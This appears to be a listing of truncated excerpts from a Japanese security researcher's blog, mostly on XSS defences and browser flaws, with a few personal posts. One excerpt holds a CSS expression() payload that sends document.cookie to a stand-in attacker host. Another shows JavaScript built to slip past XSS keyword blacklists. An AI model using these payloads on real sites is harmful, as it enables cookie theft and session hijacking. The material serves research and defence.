alert(0)されたら - hoshikuzu | star_dust の書斎
XSS (Cross Site Scripting) Cheat Sheetなど、いろいろあるXSS対策まとめページで、しばしば、alert('XSS')の方法の変種について書いてあります。このページでも同様で、String.fromCharCodeを使えば、悪意ある文字列を仕込むときに引用符を使わなくてもいいじゃん？みたいなことが書いてあります。このほか、/xss/.sourceを使えるとかの解説も世に多いわけです。 でもちょっと待って！alert(/XSS/.source)や、alert(String.fromCharCode(88,83,83))などのバリエーションなぞ、本物の攻撃者はあんまり使わないんじゃないかな？どうです？…というのは、alert(0)が出来たらそれで終わりじゃないの？という気がするからです。文字列をalertじゃなくて、数字がalertできたらほとんど攻撃成立じ
JSONデータをクロスドメインアタックから守るためにwhile(1)を使うことをやめましょう - hoshikuzu | star_dust の書斎
これはなに 既にご存知の方がいらっしゃるかどうかも知りませんが今さっき関連文献に行き当たって驚愕したので念のためにメモを書いておきます。私はメーリングリストなどに加入していませんので論議が済んでいるかどうかも知らないのです。もしもウェブ上に解説記事があるようでしたら逆に私に是非とも教えてください。 JSONデータの先頭に JSONデータの先頭にwhile(1)を置いておくことで無限ループを発生させておいて、受動的攻撃のページの悪意あるscriptの実行を失敗させるというアイデアには欠点があるということを、先程とある文献から知りました。これはwhile(true)についても同様です。JavaScriptは柔軟で強力な言語ですから、ブラウザがJavaScriptエンジンをまじめに実装しているのであれば、アタックのチャンスを与えていることになります。しかしこれはブラウザの脆弱性とは捉えられません
2009-03-05
個人的な感想 HTMLページへのXSSのベクタを類別すると少なくとも3種類考えられます。ひとつはDOM構造の破壊、ふたつめはBOMへの不正介入、三つ目はその他の方法によるスクリプト注入です。 ※見慣れない類別ですね。少々解説を。ここでBOMとは、ブラウザオブジェクトモデルのことを指します。例えばa要素にjavascript擬似スキームによるスクリプト記述を混入させることができるならば、BOMへの不正介入を許可していることになり即ちXSSベクタの成立を許していることになります。この時、DOMを壊しているわけではないことにご留意ください。ところでBOMの設計はブラウザごとに多型でありやっかいであることにため息をつくことがあります。 閑話休題。 長谷川さんの提起によるIEのinnerHTMLにおけるバッククォート問題は、ひとつめの類別のDOM構造の破壊に悪用されるタイプであると思います。 長谷川
2008-04-01
朝ごはんをたべていたら思いついたのでどんなものなのか皆さんに伺ってみたくなりました。 ○クロスドメインアクセス対策例JSON、JSONP、JavaScriptで機密情報を配信する場合、クロスドメインアクセスの対策（＝クロスドメインアクセスを不可能にする対策）が必要になります。 以下にSea Surfers MLで議論されていた方法を紹介します。 (一部省略 by hoshikuzu) 方法２．while(1)、およびコメントアウト法サーバ側がデータの先頭にwhile(1) {}をつける、または全体をコメントアウトした状態で返し、クライアント側でこれを取り除いてevalする方法です。方法１と考え方としてはほとんど変わりません。while(1)の方法はGMailでも使われています。 ここでのコメントアウト法が果たして有効なのかどうか答えを知りたく思います。教えて君になっていますが、まことにすみ
予約語なしにJavaScriptでいろいろしてみる - hoshikuzu | star_dust の書斎
JavaScriptで。文字列'al%65rt%28%22Hello%20World%21%22%29'をunescape()してやってその後にeval()に通せば、結果として「Hello World!」とalertされると思います。 この操作を、安直なXSS対策ブラックリストにおけるヨワヨワな守備の回避を目的に、JavaScriptの予約語（と言ってよいですか？）を、陽には一切、使わずに行ってみるという試みです。以下。 <script> ( (21)['c' + 'onstructor']['co' + 'nstructor'] ( ( ( (21)['con' + 'structor']['cons' + 'tructor'] ('retur' + 'n unesc' + 'ape') ) () ) ('al%65' + 'rt%28%22Hello%20World%21%22%29'
2008-03-12
仮退院しました。6/10までに症状がおさまらないようなら手術を視野に入れた治療を始めることになりそうです。つまり再入院です。それまでは毎日が頭痛との闘いです。 現在、鼻の穴の奥にある前頭洞への入り口が炎症でふさがっています。前頭洞が密室に。部屋の内部でなにが起きているかについては、CTやMRIでは写りません。しかし確実にその部屋の中に何者かが存在していることだけは判明しています。私も映像でソレをみましたがかなり大きく白い影が。その何者かの内圧が高くなっており、神経を刺激してのたうちまわるような痛みが発生したのです。 何者かは、以下の数種類が考えられます。まず、生体内の水のようなサラサラしたもの。次に膿。次に前頭洞内側の粘膜などの腫れ。最後に、大きくなりつつある腫瘍。さきほども申し上げたように、この数種類のうちドレであるかについては現在のところ判明していません。ひとつだけわかる方法があります
2008-01-29 私はウイルスを作ったことがある - hoshikuzu | star_dust dairy
今後はヘタをするとウイルス作成者は全員逮捕対象になるのだろうか。へんなものだ。実際に悪用した者のみが犯罪者であるべきはずだ。（感情論かもしれないが） 私がウイルスを作った経緯は次のようなものだった。 当時私が所属していた民間の会社内で、海外が起源のとある新しいタイプのExcelのマクロウイルスが大感染状態になった。会社ではなにかにつけてExcelで文書交換をするのが常であったのでほとんどすべてのパソコンが感染してしまっていたのだった。会社の方針でウイルス対策はもっぱらNECさんにまかせてしまっていて油断していたこともたしかだったが、しかたがない、後付で対策をとることになった。NEC製の独自のメールボックスを使っていたので圧縮が独特、したがってアンチウイルス製品が使えない事情もあり、かといってメールボックスをクリアするには時間もかかる（必要なメールは前もってサルベージしなければならないからだ
2008-01-18 - hoshikuzu | star_dust dairy - about UTF-7 XSS Cheat Sheet
おくればせながら下記を拝見しました。 UTF-7 XSS Cheat Sheet Specify charset clearly (HTTP header is recommended) Don't place the text attacker can control before <meta> Specify recognizable charset name by browser. 上記のような対策を必要とするサイトでは放置しておけばUTF-7系のXSS以外でもXSSの危険性は存在しうると思われます。ですので… あと、ヤマガタさんの反応を読みながら思ったんですが、一般的なXSS対策で「<」「>」などを「<」「>」にエスケープするように、機械的に「+」を「+」にエスケープしてやれば、万が一のときでもUTF-7によるXSSを防げるような気もしたんですけど、あまり深く
火星に到着したスピリッツの探索機が密かに仕組まれたバックドアのおかげで息を吹き返したオハナシ
素敵だ・・・ 火星着陸時の衝撃で地上探索機搭載のコンピュータのフラッシュメモリのファイルシステムが壊れたのでOS再起動の永遠の繰り返しになってしまった。起動するとフラッシュメモリのエラー検知をして再起動・・・。地球からのコマンド送信しての通常の初期化起動も無効になるし万が一のための最低限モードによる起動指示もきかない。対策のために何日も全スタッフは24時間苦しんだんだって。ところで起動ってエネルギー食べちゃうんだよね。起動直後にそれまでの活動履歴を地球に送信する仕組みなんだけど電波出し始めて履歴がはいっているフラッシュメモリの中身を検索すると落ちる。これの繰り返し。クソデータにみちた電波のたれながしが繰り返されてエネルギーが減っていく・・・そうこうしているうちに太陽光による発電とバッテリーとのつりあいがとれなくなってエネルギーの完全な不足になり瀕死状態に。極寒の夜がくれば耐えられないかもし
JavaScriptエスケープについて論考 - hoshikuzu | star_dust の書斎
http://d.hatena.ne.jp/hoshikuzu/20060130#P20060130BARSFAKE http://d.hatena.ne.jp/amachang/20071010/1192012056 (IT戦記 - 一行で IE の JavaScript を高速化する方法) はじめに 次のような限定されたケースにおいてなのですが。説明上の都合でこれを課題Ａと呼ぶこととします。 <SCRIPT TYPE="text/javascript"> <!-- var strA = "$data"; // ・・・以下サイト運営者による処理記述例 alert(0); //--> </SCRIPT>上記のようなケースに限定してのオハナシですけれど、$dataをエスケープする方向でのXSS対策として金床さんなどによってかつて論議されて、このままでは使えそうにないと棄却されたJavaScr
JavaScriptを使わないでブラウザ別に画像を振り分けて表示するHTMLを書く
ちょっと思い出したのでクイズを書いてみます。 以下の条件で、IEでは、imgie.gif、 Firefoxでは、imgfx.gif、その他多くののブラウザでは、imgother.gif ノミを表示するHTMLを作ってください。 JavaScriptなどのスクリプトは使わない CSSを通じてハックしない HTMLの書き方のみで勝負するが、validでなくても良い ※最新のブラウザで実現できなかったらすみません。なんだお、とか叱らないでくださいませ。 このテクで、ブラウザごとにJSファイルや外部スタイルシートとかを分別できないのかなぁと昔、妄想したことがあります。 hasegawayosukeさんへ http://d.hatena.ne.jp/hasegawayosuke/20070927/p1 なんと申しますか、すごいものを拝見させて頂きました。ある意味勉強になります。ありがとうございます。
2007-09-28
≪某メジャーなブラウザには既知既存のブラックリストに載っていないXSSベクターが存在しており、報告したので開発陣担当者には知られているはずと期待しているが、修正がはいらず１年近く放置されてる。≫という状況を伝え聞きました。私には詳細もPoCもわかりませんけれども、相当な危険物とのこと、聞いています。ブラックリスト方式でXSSを回避するシステムは要注意です。 JavaScriptオフでブラウジングしましょう。なんとかしる→各方面！ 以上、義憤を感じて書いてみました。 便利。 http://0xcc.net/blog/archives/000184.html http://www.macchiato.com/unicode/chart/
hoshikuzu | star_dust の書斎 IE6 on WindowsXPsp2 スクリプトでポップアップされたアドレスバーのないwindowのタイトルバーのURL表示を信用してはいけない
信用してはいけないこと、Microsoft社の正式な見解として仕様です。脆弱性ではありません。 サンプル http://stardust.s2.xrea.com/hatena/200611/title0.html 上記サンプルでは、リンクでポップアップするサブウィンドウのタイトルバーにおいてGoogleのサイトのURLが表示されていますが、これは正しいドメインと一致していません。 この事実は、当日記にリンクして頂いた某ページに記載のあったもので、私からIPAに届け、脆弱性ではないとのMicrosoft社からの回答があり、IPAとして取り扱い終了となったものです。なお、同様の報告が他にもあったようです。IE6では修正の予定がありません。 IE6 on WindowsXPsp2 で、スクリプトでポップアップされたアドレスバーのないwindowのタイトルバーのURL強制表示が、XPsp2で追加さ
hoshikuzu | star_dust の書斎 XSS脆弱性修正に失敗してしまった駄目な例
■XSS脆弱性修正に失敗してしまった駄目な例 はじめに 本件は本日IPAに報告したものです。未修正の脆弱性を抱えているサイトについてつまびらかにすることは宜しくありませんし、そのことは重々承知しております。しかしながら色々な意味で非常に教訓的ですので、やや辛口の意見をここに書くことにしました。 XSS脆弱性があったのはどんなサイトでどんなページか 世界的に有数の超優良営利企業であり、主たる利益をITのセキュリティ方面で叩き出している某企業の公式サイトです。XSS脆弱性が存在するページは、その企業の収益を支える基幹ないし中核部分を担うサービスを行うCGIページです。 過去の恥辱と現在と 該当するページには、最近のことではありませんが、かつてXSS脆弱性が存在することが明らかになり広く報道された経緯があります。セキュリティ方面の企業としてはいかがなものかという評価を誰もが下すことでしょう。 そ
cookieをお預かりします: 悪意ある共同預かり所 - hoshikuzu | star_dust の書斎
<html> <body> <style type="text/css"> h1 { background#:/*;*/ expression('url(http://commonevillogger.example.com/log.php'+document.cookie+')'); } </style> <h1>heading</h1> </body> </html>上記はCookieを悪意あるサイトに飛ばす例です。IEのみ対応。 （ちなみに、expressionを使っていてもcommonevillogger.example.comには、Cookieが１回しか飛びません。個人的には意外な感じです。expressionを使ってalertしたりするとブラクラっぽくなったり、あるいは、リロードを仕込んでサーバに負荷がかかっちゃった事故とかを知っているからです。AutoF5攻撃みたいな。） 閑
■ - hoshikuzu | star_dust の書斎
■InternetExplorerのいわゆるCSSXSS脆弱性と４月度のセキュリティ更新プログラムについて(その２) 20060429追記： 4月度更新を行った後のIEに存在するCSSXSS脆弱性をついた実証コードが4/28以後に某所で公開されています。 追記終わり ４月度のセキュリティ更新プログラムを適用しても、いわゆるCSSXSS脆弱性はFIXされていないことを確認いたしました。 最近まで流通してた各種CSSXSS脆弱性の各種実証コードは、4月度のセキュリティ更新プログラムの適用後、無効になっているようです。JavaScriptでcssTextをハンドリングすると外部サイトのスタイルシートならば「アクセスが拒否されました」というエラーになるからです。いっけん一安心のように感じられます。 しかし現時点では、Microsoft社としては、いわゆるCSSXSS脆弱性(CVE-2005-408
いわゆるCSSXSS脆弱性と4月度のセキュリティ更新プログラムについて
■MS06-013 と Microsoft Internet Explorer アドレスバー偽装に関して 今月のWindowsUpdateにはMS06-013［緊急］：Internet Explorer 用の累積的なセキュリティ更新プログラムがあります。このセキュリティ更新プログラムには「アドレス バーの偽装の脆弱性 - CVE-2006-1192」への修正が含まれています。 しかし、この「CVE-2006-1192」は、つい最近になって各種情報が発表されたFlashとのロードのレースコンディションによる「アドレスバーの偽装の脆弱性」とは異なるようです。SecuniaによるInternet Explorer Window Loading Race Condition Address Bar Spoofingに割り当てられた CVE は、「CAN-2006-1626」です。また、「MS06-
■ - hoshikuzu | star_dust の書斎
■続報：IE：新手法CSSXSS、Google Desktopの情報が盗まれる恐れ…というかGoogleばかりでないです、ヤバイのは、こりゃ【さらに】参りましたね。 2006/02/02追記 以前書いた下記にてJavaScript切っておけば大丈夫では？と希望的観測を書きましたが、それだけでは危険だという予測もあります。ActiveX control を併せてオフにするべきです。詳しくは、http://d.hatena.ne.jp/hoshikuzu/20051204/ で。 追記終わり 12/9追記：【重要】です。cleemyさんによる検証で凄いことがわかりました。UNICODE系列とANSI系列とのアレにちょい似ていたりする感想を持ちました。引用させて頂きます。 cleemy 多分 { がキモっぽいですね。{ が全く無いテキストは読み出せませんでした。 あと、少なくともローカルにおいた
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
2008-03-13